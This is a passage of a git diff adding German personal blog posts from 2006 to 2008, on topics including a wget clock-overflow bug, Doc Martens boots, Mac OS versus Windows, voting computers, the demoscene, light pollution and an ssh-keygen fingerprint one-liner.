Dienstleistung wird dieses Gut von der Sicherheitsindustrie, der Presse und Politikern vernichtet. Als Hersteller von Alkoholika erwirbt man das Recht, Buergern den Verstand zu vernebeln, in Form von Rauschmittelabgaben. Die Gesundheit des durchschnittlichen Gesellschaftsmitglieds wird von der Nahrungs- und Genussmittelindustrie aufgezehrt. Traditionelle Tugenden wie Fleiss, Bescheidenheit, Fuersorge und den Drang, sich zu bilden, werden durch moderne Medien und Werbung entwertet. + +Zeit, die nicht fuer Erwerbsarbeit verwendet wird, ist hart umkaempft: die Unterhaltungsmedienindustrie verfuehrt zum passiven individuellen Konsum von Fernsehsendungen und Computerspielen. Die zur Verfuegung stehende Aufmerksamkeit wird weiter von Werbebotschaften aufgebraucht – man denke an die Berieselung in der Kaufhalle, Spam und Banner im Internet, Werbeanrufe und Promotionteams in Fussgaengerzonen. Die Verfuegbarkeit von Aufmerksamkeit jedoch ist Wegbereiter fuer viele soziale Werte, Ablenkung verhindert somit deren Schaffung. Bildung – man denke an Kinder und Jugendliche beim gewohnheitsmaessigen Spielen in virtuellen Welten, Erziehung – nicht nur der Nachwuchs laesst sich seine Zeit stehlen und Hilfsbereitschaft – Unwissen und Ignoranz den Problemen der Naechsten gegenueber erwaechst aus der Isolation des puren Konsums – sind nur einige der Beispiele. + +Ueberhaupt ist in einer Informationsgesellschaft nicht mehr die Arbeitskraft als solche, als vielmehr ein zu verteilendes Budget von Aufmerksamkeit, die man den Informationen schenken kann, das massgebliche Gut. Wir leben inzwischen in einer Aufmerksamkeitsoekonomie, in der dieses – in der Gesellschaft nur begrenzt vorhandene – Gut nicht leichtfertig privatisiert, oder indirekt als Folge der Privatisierung verschwendet werden darf. Als Ausgangspunkt fuer eine moegliche Kompensation steht ein Abschaetzung des Werts von Aufmerksamkeit an. Die genaue Menge an verbrauchter Aufmerksamkeit fuer ein Stueck veroeffentlichter Information ist wohl genauso schwer zu bestimmen, wie positive Aspekte, die beispielsweise der Medienkonsum der Gesellschaft gibt – auch Fernsehen und die Benutzung von Computern koennen Werte wie Vermittlung von Bildung und den Aufbau von Netzwerken schaffen. diff --git a/blog/2006/Neunzehnvierundachtzig.md b/blog/2006/Neunzehnvierundachtzig.md new file mode 100644 index 0000000..0172dfb --- /dev/null +++ b/blog/2006/Neunzehnvierundachtzig.md @@ -0,0 +1,41 @@ + + +Das Akku meines guten alten 12" PowerBook G4 ist inzwischen so abgelatscht, dass es, wenn die Festplatte mal anspringt, gerne die Hufe hochstreckt +und den Rechner ausgehen laesst. (Wenn ich nicht noch die irrationale Hoffnung auf ein 12" MacBookPro haette, haette ichs schon ersetzt...) Gepaart mit einer +defekten Backupbatterie macht das regelmaessig 1984 auf meinem Rechner. Genauer gesagt 01. Januar 1984 gegen ein Uhr. Und zwar so lange, bis das OS sich +entschliesst, das Datum mit den Timeservern abzugleichen. + +Normalerweise passiert das, wenn er ne neue defaultroute bekommt, heute jedoch hatte ich vorher schon mit meinem Rechner gearbeitet und mich erstmal +gewundert, warum Safari schlicht stehenbleibt und nicht auf Eingaben reagiert. Zudem warf ich ein laenger dauerndes wget an. Nachdem ich den Zeitabgleich +dann haendisch angeworfen hab, erbrach sich wget folgendermassen in meine Konsole: + +
+19% [====>              ] 315,586,864    0.32B/s  retr.c:291: failed assertion `msecs >= 0'
+Abort trap
+
+ +Mjam. Millisekunden rumgewrappt, 22 Jahre waren dann doch zu viel fuer die fancy progress bar implementation. Da MUSS man natuerlich sofort das Handtuch +werfen. + +#### Nachtrag + +Und natuerlich enttaeuscht mich wget auch beim weiteren Herunterladen eines 2298815162 Bytes langen Files nicht: +
+HTTP request sent, awaiting response... 200 Coming Up
+Length: -1,996,152,134 [application/octet-stream]
+
+    [ <=>                                 ] 1,226         --.--K/s
+
+19:59:08 (11.69 MB/s) - `' saved [1226/-1996152134])
+
+Und nein, es ist nicht der Webserver, der da die Content-Lenght so rausgib: +
+HTTP/1.1 200 Coming Up
+Content-Type: application/octet-stream
+Server: Gatling/0.9
+Content-Length: 2298815162
+
+Qualitaetssoftwaere. diff --git a/blog/2006/Nikolaus.md b/blog/2006/Nikolaus.md new file mode 100644 index 0000000..c336d4b --- /dev/null +++ b/blog/2006/Nikolaus.md @@ -0,0 +1,52 @@ + + +Wie fuer jeden respektablen vierzehnjaehrigen Vorstadtpunker gehoerte auch fuer mich die Wahl der passenden Fussbekleidung massgeblich zur Definition des +Erscheinungsbilds. Ein Rundumblick in meiner damalige Kohorte – besser gesagt auf deren Botten – verriet mir ziemlich schnell, wohin der Zug gehen +sollte: Aus einem mir damals komplett verborgenen Grund heraus haben es [Doc Martens](http://en.wikipedia.org/wiki/Doc_Martens) Schuhe geschafft, in +der links-intellektuell links-liberal und links-radikalen Szene zum shoe-to-wear aufzusteigen. Und die natuerlich moeglichst bunt – moeglichst ungepflegt, +eventuell mit Gloeckchen an roten Baendeln und selbstbemalten Bluemchen auf dem Leder fuer die Maedchen, mit reichlich innovativem Fixierkram wie Gaffaband, +Sicherheitsnadeln und Jeansbuegelflicken fuer die Herrn – und natuerlich mit Stahlkappe fuer die harte Fabrikarbeit und die taeglichen Pruegeleien mit den +Rechten ;) Die Wahl der Schnuersenkelfarbe war natuerlich essentiell! Nie durfte man sich mit weissen blicken lassen, jene waren den Nazis und den Punks, die +sich wie Nazis verkleiden, um sie dann besser verhauen zu koennen (fragt nicht, war so ;) vorbehalten. Mit roten und gestreiften war man schon von Weitem als +eher radikalerer Linker zu identifizieren, die rosanen (naja.. eigentlich trug nur einer meiner Bekannten rosa Senkel) zeichneten Mitglieder der radikalen +schwulen Szene aus. Mit schwarzen, so wie sie aus dem Laden kamen, outete man sich so irgendwie als Modepunk, hatte aber auch im Zweifel vor allen Radikalen +Ruhe und lief (fuer damalige Verhaeltnisse) nicht mit Markenschuhen herum. + +Daran, mir mein eigenes Paar zu besorgen, fuehrte so natuerlich kein Weg vorbei – allein in Berlin waren diese Treter mit fast zwohundert Mark und einem +Taschengeld von zwoelffuffzich in der Woche unerschwinglich teuer. Davon musste man sich naemlich auch noch die restliche szenetypische Verkleidung, wie +Kapuzenpullis und bedruckte T-Shirts, heranschaffen. + +Wie es der Zufall so wollte, fuehrte mich mein Nerdhobby auf ein Geekzusammentreffen in London. Meine Eltern liessen fuer die Reise Kohle springen, +schliesslich ging es ja auch um Weiterbildung und ich konnte die Welt kennenlernen, uuuuuuund – alle Punkerfreunde waren neidisch – gab es +Geruechten zu Folge in London bei Shelleys Doc Martens fuer 30 Pfund, rund 90 DM. Dort hatte sich Doc Martens als lose Marke fuer alle Hersteller von billigen +Arbeiterbotten gehalten und es war schwer, mit den Preisen anzuziehen. Ueberhaupt koenntet ihr euch mal [mit der +Geschichte](http://www.veganline.com/brand.htm) und dem eher unruehmlichen Ende der Marke (fuer mich) vertraut machen. ([Hier noch +mehr](http://www.veganline.com/bouncing-boot.htm).) + +Fuer mich war ganz klar, dass ich die Chance nutzen musste, mir die Schuhe dort zu kaufen. Neunzig Mark waren jedoch auch kein [Pappenstiel](http://www.korrekturen.de/beliebte_fehler/pappenstil.html). Also machte ich meine ersten Versuche mit der Marktwirtschaft als +Schuhverkaeufer. Ich sammelte Bestellungen ein schlug dreiste 20 Mark drauf, von denen ich jedoch nur zehn offiziell als Aufwandsentschaedigung deklarierte, die +andere Haelfte log ich mit hoeheren Einkaufspreisen, stark schwankenden Wechselkursen und grosszuegigem Aufrunden zusammen. Am Ende musste ich nur noch zehn Mark +aus meiner eigenen Tasche bezahlen, was ich fuer eine Reise nach London und ein paar In-Boots als ziemlich lockeren Deal empfand. + +Ironischerweise waren das wirklich die billigsten Boots, die ich jemals gekauft habe (selbst bei unsubventioniertem Preis), welche dann mit drei Jahren fast +durchgaengiger Benutzung auch noch am laengsten gehalten haben. Schon die direkt im Anschluss gekauften Docs gaben bereits nach einem halben Jahr ihren Geist +auf, da die Marke nun offiziell zur Modeschuhmarke verkommen war. + +Leider hatte ich meiner Tollpatschigkeit wegen die Stahlkappe extrem liebgewonnen. Nach allem, was mir da schon draufgefallen ist, wuerden mir heute +bestimmt eine handvoll Zehen fehlen. Die Marktsituation bei den Stahlkappenboots war aber nicht besonders rosig: Die Naht ueber der Kappe, wie sie andere +Hersteller drauftun, finde ich schlicht haesslich. Aufgenaehte Flammenmuster auch. Gluecklicherweise entdeckte ich die (in Google einfach unauffindbare) +Schuhfirma Tredair, die erstens im Gegensatz zu Doc Martens nicht Kinder in Vietnam und China naehen laesst und zweitens auch einfach viel tollere Schuhe macht. +Die Naht am Hacken faengt nicht schon nach zwei Wochen Benutzung mit Aufdroeseln an, da noch liebevoll ein Stueck Leder herumgenaeht ist, die Pappe unter der +Kappe bricht einfach selbst mit meinen destruktiven Zehen nicht. Meine letzten haben anderthalb Jahre gehalten und das ist eigentlich mehr, als man von taeglich +und ueberall getragenen Botten erwarten kann. + +Als ich jedoch vor zwei Wochen bei meinem [lokalen Stammdealer](http://www.blue-moon-shoes.de/kontakt.html) Nachschub holen wollte, fiel ich fast +aus allen Wolken: Zehnloch gibt es gar keine mehr und Achtloch kaemen erst wieder rein. Die Produktion scheint eingestellt, oder nicht mehr zu lohnen, oder +allein der Import nicht mehr zu lohnen, kurzum: Ich machte mich auf eine Recherchereise im Internet, um eventuell direkt von Werk zu ordern oder vielleicht einen +obskuren Importeur zu finden. Aber nix! Man findet sie ueberhaupt kaum und wenn, dann in Farben, die erklaeren, warum sie noch zu haben sind oder als schmucke +Halbschuhe. + +Und heute... heut habe ich dann wenigstens noch die Achtloch eingesackt. Und zwar gleich zwei Paar. Man weiss ja nie, wie lange es die noch gibt... diff --git a/blog/2006/Tims_Name_ist.md b/blog/2006/Tims_Name_ist.md new file mode 100644 index 0000000..85adb7a --- /dev/null +++ b/blog/2006/Tims_Name_ist.md @@ -0,0 +1,6 @@ + + +... [Stinkepuper Vollhorst, bekloppter.](http://tim.geekheim.de) diff --git a/blog/2006/Vollkaskodeure.md b/blog/2006/Vollkaskodeure.md new file mode 100644 index 0000000..187ce59 --- /dev/null +++ b/blog/2006/Vollkaskodeure.md @@ -0,0 +1,24 @@ + + +Nachdem sich [Fefe](http://blog.fefe.de/?ts=bd49e296) in seiner unnachahmlichen Manier ueber Apple und Mac OS und vor allem das "seinen Verwandten Mac OS Ueberhelfen" elaboriert hat, wuerde ich nach einem Jahr Benutzung eines 12"-PowerBooks meine Gedanken gern festgehalten wissen. + +Ich halte mich fuer aus der Kategorie "pragmatischer Nerd" kommend und pathetische Apple-Fan-Boi-Eskapaden wie die des Herrn P. aus B. an der S. liegen mir fern. Trotzdem ist nicht zu uebersehen, dass Apple verdammt viel richtig gemacht hat. Nicht, dass deren Hardware nun ausnehmend geil sei. Im Gegenteil: mein iPod versagte nach 6 Wochen den Dienst, mein PowerBook sieht nach einem Jahr Gebrauch schlimmer aus, als mein gutes altes IBM T20 nach 6 Jahren – und das bei vorsichtigerer Behandlung. Auch buntes Bonbon-Geblinke auf dem Bildschirm wuerde mir kein mildes Urteil entlocken, meine Ansprueche sieht man, wenn man weiss, dass ich nach einem halbjaehrigen gnome-Experiment meine X11-Tage mit twm zufrieden fristete – xterm, Thunderbird, Firefox, vlc und psi funktionieren auch ohne fetten Sessionmanager. + +Als ich aber die Redaktion der Datenschleuder mit dem damit verbundenen Zwang, ein brauchbares Satzprogramm zu benutzen, uebernahm, blieben mir nur die Optionen, einen IBM mit Hin-und-Herbooten zwischen FreeBSD und Windows oder ein Mac OS X mit oben bunt und unten Unix zu benutzen. + +In der Zwischenzeit habe ich zu Hause weiter an nem FreeBSD-Desktop gearbeitet und zum Programmieren von mobilen Endgeraeten konnte ich auf Windows nicht verzichten. Und Ja! Mac OS kommt ohne gcc – nervt, ist aber bei Debian genauso und kann man leicht nachinstallieren. Mac OS' Kernel kommt in den Releases mit Bugs, die in den entsprechenden FreeBSD-Sourcen laengst gefixt sind. Mac OS braucht unverschaemt viel Speicher fuer all den bunten blinkenden Unrat – laesst aber zumindest die Grafikkarte die rechenintensive Drecksarbeit machen. Und vieles von dem Grafik-Overkill macht auch schlicht Sinn: Dropshadows, Boldfonts an den richtigen Stellen... Mac OS nervt einen aber auch mit all den kleinen Dingen, die einem im Normalfall (Mami zu hause) vernuenftig erscheinen: Rechner zu -> suspend, Configoptions fuer Bloede, Styles im Clipboard mitkopieren, etc... und die Navigation zwischen einzelnen Fenstern mit nur Tastaturclicken ist umstaendlich. + +Fefe meinte, man muesse fuer Sicherheitsugrades Geld bezahlen und warf das mit den OS-Upgrades, die halt in deutlich hoeherer Frequenz als bei M$ kommen, durcheinander: Bloedsinn. Security Updates sind umsonst und ich kenne genug Nutzer, die mit ihrem damals legal erworbenen 10.2 durchaus noch effektiv arbeiten. Sowieso raubkopieren meine Mac-Freunde um Groessenordnungen weniger und vor allem weniger selbstverstaendlich, als die Windowsler im Freundeskreis. Was auch immer das ueber sie aussagen mag. + +Und wenn mich etwas an der Oberflaeche von Mac OS stoert, dann sind das so Dinge wie "man kann, wenn man ein dabei ist, ein File zu draggen, mit Expose den Finder gefunden hat, in selbigem nicht mit Apfel-CursorUp navigieren" – unter Windows kaeme ich nicht mal in die Verlegenheit, sowas ueberhaupt zu versuchen. Es ist Jammern auf hohem Niveau und ja, natuerlich kann einem das als angepisster Linux-Nutzer, der von solchen Problemen nicht einmal ahnt, schon auf die Nerven gehen, wenn Leute, die ob ihres Betriebssystems davon ausgehen, dass auf nem Computer einfach alles funktioniert, ohne, dass man viel selber dafuer tun muss, dann die selbe Erwartung an Multimedia-Material stellen, welches auf ihren Rechner faellt. Klar, Fefe hat drei Dutzend Jahre gebraucht, bis das Setup auf seinem Rechner so aussieht, dass _er_ damit leicht alle moeglichen Dinge anfangen kann, vielen Benutzern ist nicht soviel Zeit beschieden und sie wollen ihren Rechner einfach benutzen. + +Und auch hier moechte ich das "stell deinem nicht-Nerd-Kumpel nen Mac ins Haus und du hoerst von ihm nie wieder"-Stereotyp bestaetigen: wenn mir irgendjemand, an dem mir was liegt, am Telefon erzaehlt, er wuerde sich nen Windowsrechner ins Haus stellen, bliebe mir aus Gewissensgruenden gar nichts weiter uebrig, als bei ihm noch, bevor er versucht, den Rechner mit seiner AOL-CD ans Netz zu tun, vorbeizuschneien, diverse Service Packs von CD einzuspielen, den IE runterzuwerfen, ihm einen Webmailaccount auf MEINEM mail-Server einzurichten, um Outlook wegwerfen zu koennen, Volker Birks OS-Vernaglungsskripte auszufuehren und ihm einzuschaerfen, dass, wenn er jemals auf nen Attachment clickt, er mich gar nicht mehr anzurufen braucht. Danach wuerde ich ihm nen Plasterouter hinstellen und hoffen, dass sich nie ein Paket auf die Windowsbox verirrt. Und wer mal versucht hat, jemanden per Telefon durch die Systemsteuerung zu lotsen, kann sich vorstellen, welche Freude es im Gegenteil ist, von Freunden zu hoeren, die sich nen Mac ins Haus stellen wollen. + +Zugegeben, mit dem Schwenk auf x86er wird die volle Expertise der hacker-cracker-bauernwhacker, die auf Windowsen und Webservern zuhause sind, auf Mac OS eindreschen, mit einem hoeheren Marktanteil werden auch dort Viren, Wuermer und Konsorten heimischer weil lohnender, was mich als pragmatischen Nerd natuerlich erstmal die Bohne interessiert, bis dahin kann ich immer noch meine Telefonnummer aendern. + +Und was Mac OS fuer mich bedeuetet: wenn ich Windows oder FreeBSD benutze, klopf ich (wie hier auch schonmal ausgefuehrt) wie bloede auf die F9-Taste: Expose und QuickSilver lassen alle anderen Desktopenvironments klobig wirken, wer "Apfel+," kennt, hat keinen Bock mehr, bei Windowsprogrammen nach den Options, Settings, Preferences, Internet Options, Properties... zu suchen. Das gesamte Environment wirkt aufgeraeumt und verhaelt sich wohl zu den anderen Oberflaechen wie BSD zu Linux. + +Und, um Fefe nun nochmal seine "Vollkaskomentalitaet" zurueckzuwerfen: wer diese an den Tag legt, hat genau dann Recht, wenn er Vollkasko bezahlt und deren Erfuellung nicht bei mir einfordert. diff --git a/blog/2006/Wahlhelfer.md b/blog/2006/Wahlhelfer.md new file mode 100644 index 0000000..351711b --- /dev/null +++ b/blog/2006/Wahlhelfer.md @@ -0,0 +1,10 @@ + + +Mit zwoelf wurde ich das erste Mal Zeuge einer freien, geheimen demokratischen Wahl. Mein Vater nahm mich nach dem Sonntagskaffee mit in unser Wahllokal. Die Helfer waren aufgeregt und die Stimmung feierlich. In einer Ecke sass der frisch arbeitlose Offizier und zaehlte die Waehler – aus reiner Gewohnheit. In der anderen wachte der oertliche Buergerbewegte seinerseits ueber den ordentlichen Ablauf. + +Ich war ein unertraeglicher Klugscheisser und wollte natuerlich nicht glauben, dass es keine Moeglichkeiten zum Betrug gaebe. Also piesakte ich meinen Papa mit dutzenden "aber was, wenns" – doch all mein angestrengtes ausgefuchstes Nachgruebeln konnte nichts zutage foerdern, wie die Wahl zu manipulieren sei. Vom anfaenglichen Fuellstand der Wahlurne ueber die Anzahl der Stimmzettel pro Waehler bis zum Zusammenzaehlen der Stimmen anhand von Kreuzen in bestimmten Kreisen – die gesamte Prozedur konnte buchstaeblich von einem Sechstklaessler ueberwacht werden. Sogar die korrekte Uebermittlung der Ergebnisse aus dem Wahllokal konnte ein Blick in die Lokalzeitung am naechsten Morgen bestaetigen. Auf mich machte all dies gehoerigen Eindruck. Wer immer sich dieses Verfahren ausgedacht hat, hatte absichtlich fuer alle Probleme die einfachste, uebersichtlichste Loesung gefunden. + +Sechzehn Jahre spaeter sehe ich fassungslos Bilder aus Cottbus. Dort verwandeln Waehler ihre Stimme in schmucklosen grauen Plasteboxen in den Ladungszustand von ein paar Flipflops im Innern veralteter Prozessoren in Computern aus den Gruenderjahren. Und ploetzlich stelle ich mir vor, wie ein kleiner vorlauter Dreikaesehoch seinem Papa ordentlich mit Fragen einheizt. diff --git a/blog/2007/Art_and_beauty.md b/blog/2007/Art_and_beauty.md new file mode 100644 index 0000000..5dfddb6 --- /dev/null +++ b/blog/2007/Art_and_beauty.md @@ -0,0 +1,30 @@ + + +Ein Gutteil meiner Sozialisierung fand unter Nerds statt. Und nicht die Art Nerds, die sich primaer durch unansehnliche Karohemden auszeichnen und in den +Oednissen des Linuxkernels vergraben. Auch nicht die Art Nerds, die mit Loetkolben und Phasenpruefer bewaffnet alles zerforschen, was ihnen in den Weg stellt +(auch, wenn mir das nicht komplett fremd ist). Und schon gar nicht die Art Nerds, die das Netz fuer das hoechste der Gefuehle halten und, einmal im Jungle +freigelassen, zwar nach 3 Stunden verhungern wuerden, aber fuer die letzten beiden Stunden noch Mail und IRC organisiert haetten. Nein! All diesen Nerdstaemmen +begegnete ich erst deutlich spaeter. + +Dort, wo ich gross wurde, hat man die Bits noch mit der Hand gepflegt. In Assembler. Und man hat sie bevorzugt dahin getan, wo sie vor Farben spruehende +Bilder unterlegt mit moderner Musik erzeugt haben. Ziel des Spiels war und ist es, mit moeglichst wenig Ressourcen (deren kuenstliche Verknappung noch zu den +besonderen Disziplinen gehoert) beeindruckende echtzeitberechnete Filmsequenzen zu generieren. Dabei reichte das damals uebliche Spektrum von +(Star Trek inspirierten) Sternenfeldern, Scrolltexten aller Coleur, Feuer- und Plasmaeffekten, 2,5D-Bildprojektionen bis zu Tunneleffekten, zum +Echtzeit-Raytracing- und casting, zu Voxelspaces und zum Texture-Mapping und -Shading aller Art. Diese Sequenzen werden Demos genannt und ueblicherweise treffen +sich die Nerds auf Demoparties, um sich in "Compos" gegenseitig ihr Produktionen vorzufuehren und darueber abzustimmen, welche am tollsten ist. + +Warum ich das alles schreibe? Zu Ostern habe ich kurz vorm Altwerden nochmal die [Breakpoint](http://breakpoint.untergrund.net/) besucht, um mich +nostalgisch mit dem Jungbullenmief zu umgeben, der dort latent durch die Halle schwebt, oder hoeflicher: "Den Spirit zu atmen" sozusagen. Waehrend ich im +Allgemeinen eher vom hohen Durchschnittsalter schockiert war (damals waren wir und alle anderen noch pubertierende Nerds), gab es doch ein paar altbekannte +Gesichter zu gucken und bei den PC-Demos eine (leider nicht live erlebte) Kinnladenrunterklapp-Demo. Die Gruppe Farbrausch veroeffentlichte [Debris](http://www.pouet.net/prod.php?which=30244) ([als Video](ftp://ftp.untergrund.net/users/kb/videos/farbrausch%20-%20fr-041%20debris%20%5B1280%5D.mp4)). Das besondere an diesem, auch stilistisch +sicheren und kuenstlerisch sehr kreativen, Film ist seine Dateigroesse. In rund 180 Kilobyte haben alle Texturen, Modelle, Kamerapositionen und Blickwinkel, die +Beleuchtung, Bewegungsmuster der Objekte, der Programmcode zur Animation, die gesamte Musik und nicht zu vergessen der Datenblock am Anfang der .EXE, der dem +Betriebssystem verraet, welcher Art die ausfuehrbare Datei ist. Zum Vergleich: 180kb divx sind kaum 2 Sekunden animiertes Bild in 1024x768, 180kb mp3 sind unter +10 Sekunden Musik, ein PC-Programm, das nichts weiter tut, als "Hello World" auf dem Bildschirm auszugeben, ist bereits 3kb gross. + +Einziger Wehrmutstropfen: durch die Konzentration auf den gebuersteten Stil und das, was Farbrausch am besten kann, Texturen und Objekte zu komprimieren, +bleiben andere Arten von Effekten, die nicht von der Grafikkarte erledigt werden, zunehmend aussen vor. Aber ich glaube, dass ich erst ningeln sollte, wenn ich +selber wieder mal an einer Demo mitgeschrieben haben. diff --git a/blog/2007/Ausgeknipst.md b/blog/2007/Ausgeknipst.md new file mode 100644 index 0000000..931fcf8 --- /dev/null +++ b/blog/2007/Ausgeknipst.md @@ -0,0 +1,27 @@ + + +Eine der beeindruckendsten Erfahrungen in diesem Jahr war, den Sternenhimmel zu sehen. Und das nicht in der homoeopatischen Darreichungsform, die der +Mitteleuropaer gewohnt ist. Nein, im direkten Kontrast zum Milchsuppenhimmel in Tokyo, an dem man mit viel Muehe den Polarstern ausmachen kann, habe ich kaum +72h spaeter mit dem Ruecken auf einer eher abgelegenen Strasse in einem abgelgenen Gebiet Nordaustraliens eine Ahnung davon erhalten, wie unsere Vorfahren wohl +den Himmel erlebt haben. + +Der Anblick ist schwer zu beschreiben, man wird foermlich ueberwaeltigt von tausenden und abertausenden funkelnder Punkte, und ueberall, wo man meinte, +dunkle Bereiche zu entdecken, werden sie beim genaueren Hinschauen mit noch mehr Sternen gefuellt. Waehrend der zwei Wochen Fahrt durch Australien habe ich +diesen Himmel liebgewonnen. + +[In Europa](http://www.savethenight.eu/Lights%20in%20Europe.html) sieht es – wie eingangs erwaehnt – am Himmel ziemlich truebe aus. +Durch Streuung in der Luft und partielle Reflexion in den hoeheren Schichten der Atmosphaere trifft man in Mitteleuropa nirgends mehr auf [Orte mit aussergewoehnlich dunklem Himmel](http://de.wikipedia.org/wiki/Lichtverschmutzung#Einteilung). + +Waehrend Slovenien in einem [Gesetz aus dem Sommer dieses Jahres](http://www.darksky.org/news/press-2007-08-31.php) versucht, der [Lichtverschmutzung](http://www.lichtverschmutzung.de/) Einhalt zu gebieten, fallen andere europaeische Staaten wie Belgien mit den nachts grell +beleuchteten Autobahnen besonders stark auf Satellitenbildern auf. + +Daneben gibt es noch hunderte andere Quellen der Lichtverschmutzung, von schlecht gerichteter Strassenbeleuchtung ueber Reklametafeln, Diskoleuchtfingern, +Flutlichtanlangen bis zum Strassenverkehr. Das Abblendlicht eines einzigen vorbeifahrenden Autos hat in der australischen Steppe auf der Stelle 75% der Sterne +verschwinden lassen. + +Nun gibt es am Samstag abend um 2ooo Uhr in Deutschland eine [umstrittene Aktion](http://www.lichtaus.info/), fuer fuenf Minuten alle Lichter +auszuschalten, die auf Energieverschwendung hinweisen soll. Ist mir eigentlich egal, nur – wenn sich alle daran hielten – bestuende die entfernte +Moeglichkeit, auch in Berlin mal wieder die Milchstrasse zu sehen. diff --git a/blog/2007/Bekannte_Gastgeber.rst b/blog/2007/Bekannte_Gastgeber.rst new file mode 100644 index 0000000..47e8dad --- /dev/null +++ b/blog/2007/Bekannte_Gastgeber.rst @@ -0,0 +1,7 @@ +.. date: 2007/11/24 12:49 +.. title: Bekannte Gastgeber + +Ein Eintrag aus der "note to self"-Rubrik. Heute: wie man trotz der bescheuerten openssh-Tools den Fingerprint eines Hosts aus der ~/.ssh/known_hosts extrahiert. Geht in einer Zeile.:: + + PK=`mktemp /tmp/XXXXXXXX`; ssh-keygen -F HOST_TO_FINGERPRINT > ${PK}; ssh-keygen -f ${PK} -l; rm ${PK} + diff --git a/blog/2007/Fruehstuecksueberwachungsverein.md b/blog/2007/Fruehstuecksueberwachungsverein.md new file mode 100644 index 0000000..b0f47aa --- /dev/null +++ b/blog/2007/Fruehstuecksueberwachungsverein.md @@ -0,0 +1,7 @@ + + +Das geschaetzte Frollein Halbe ist aufmerksame Testerin Berliner Fruehstueckslokalitaeten. Im von ihr mit Berichten versorgten [Blog Fruehstueck in Berlin](http://nureinhobby.org/berlinbreakfastblog/), das sich durch einen entspannten Podcast hervortut, habe nun auch ich meine +ausgiebige Erfahrung mit der [Berliner Fruehstueckerszene](http://www.paderkino.de/kritiken/03/herr_lehmann.html) in einer [Kooperation](http://nureinhobby.org/berlinbreakfastblog/) verewigt. Subscribieren, natuerlich! diff --git a/blog/2007/Herrenwitz.md b/blog/2007/Herrenwitz.md new file mode 100644 index 0000000..977c6e8 --- /dev/null +++ b/blog/2007/Herrenwitz.md @@ -0,0 +1,11 @@ + + +In den meisten Berliner Kneipen, also zumindest in denen, wo der sich anbahnende Geschlechtsverkehr ehrenamtlich ist, haengen in den Herrentoiletten Automaten, +in denen der geneigte Herr Praeservative erwerben kann. + +Auf dem im Restaurant "Fellas", welches sich besonders dadurch hervortut, dass es auch Sonntags noch bis 17ooUhr Fruehstueck (und zwar Fruehstueck und kein +Brunch) anbietet, strahlte mich nun heute in Katerlaune folgender Anblick an, brachte mich zum lange nachdenken und rettete meinen Tag: +[![](/stats/blog/pics/stoertaste.jpg)](/stats/blog/pics/stoertaste.jpg) diff --git a/blog/2007/Lebensstilreflexion.md b/blog/2007/Lebensstilreflexion.md new file mode 100644 index 0000000..1d46e73 --- /dev/null +++ b/blog/2007/Lebensstilreflexion.md @@ -0,0 +1,6 @@ + + +Manchmal fragte ich mich ja sowieso schon, was mich zum Wohnen in diesem meinen Kiez getrieben hat. Nun hat die Zeit [eine schonungslose Abrechnung mit der "Generation Prenz'lberg"](http://www.zeit.de/2007/46/D18-PrenzlauerBerg-46?page=all) geschrieben, die mir aus dem Herzen spricht und mich gleichzeitig doch selber so betrifft. Feine Schreibe und Dutzende zitatfaehige – den Nagel unglaublich genau auf den Kopf treffende – Saetze. diff --git a/blog/2007/Pauker.md b/blog/2007/Pauker.md new file mode 100644 index 0000000..e950a2e --- /dev/null +++ b/blog/2007/Pauker.md @@ -0,0 +1,18 @@ + + +Ich hatte einen coolen Mathelehrer. Wirklich. Beim Wuehlen in meinen alten Gitarrennoten habe ich eine von ihm handschriftlich geschriebene Antwort auf einen +schrecklich naiv-polemischen Beitrag meinerseits in der vor 13 Jahren gedruckten Schuelerzeitschrift gefunden. + +Das erste mal hatte ich in der achten oder neunten Klasse bei ihm Unterricht. Er sass im Schneidersitz mit einem [Hüsker Dü](http://en.wikipedia.org/wiki/Hüsker Dü)-Shirt, ner zerrissenen Jeans und Chucks auf einer der vorderen Schulbaenke, +wartete, bis alle Schueler im Raum waren uns machte sich einen Spass daraus zu beobachten, wie wir alle darauf warteten, wo denn der Lehrer blieb. Gleich nach +dem Klingeln sprang er dann vom Tisch und begann mit dem Unterricht + +Nunja, ihm hatte ich zu verdanken, dass ich mir schon im zarten Abiturientenalter Robert Michels [Zur Soziologie des Parteiwesens in der modernen Demokratie](http://www.sgipt.org/politpsy/staatsl/michels.htm) und [die richtige Musik](http://www.myspace.com/killyouridols/) reinzog und spaeter selber zur Stromgitarre griff. Natuerlich hat er auch auf eine ziemlich +stilsichere Art Mathematik heruebergebracht und mich sicher trotz meiner Faulheit durch das Abitur bugsiert. + +Als ich nun mal hinter ihm her recherchiert habe, stellte sich raus, dass er an der Schule die eine AG Schulband angeleiert hat, eine Kryptographie-AG +betreut und noch immer [im Kapuzi](http://schulfotos.browndirtcowboy.de/bilder/big_0548.jpg) herumlaeuft. Schoen, dass der Schulbetrieb noch immer +so starke Persoenlichkeiten zu bieten hat! Mal auf einem Ehemaligentreffen zu treffen versuchen. diff --git a/blog/2007/ezjail-mailinglist.rst b/blog/2007/ezjail-mailinglist.rst new file mode 100644 index 0000000..bba688b --- /dev/null +++ b/blog/2007/ezjail-mailinglist.rst @@ -0,0 +1,5 @@ +.. title: ezjail-mailinglist +.. date: 2007/03/22 18:00 +.. tags: ezjail + +A `mailing list `_ has been created. An archive can be found `here `_. `Please subscribe to post. `_ diff --git a/blog/2008/Datenmessie.md b/blog/2008/Datenmessie.md new file mode 100644 index 0000000..bd5019e --- /dev/null +++ b/blog/2008/Datenmessie.md @@ -0,0 +1,82 @@ + + +Es gibt so Tage, da liebe ich mein Heimatland einfach. Die ganzen vermufften spiessigen Strukturen, das braesige Bildungsbuergertum und ihre Ordnungsliebe.

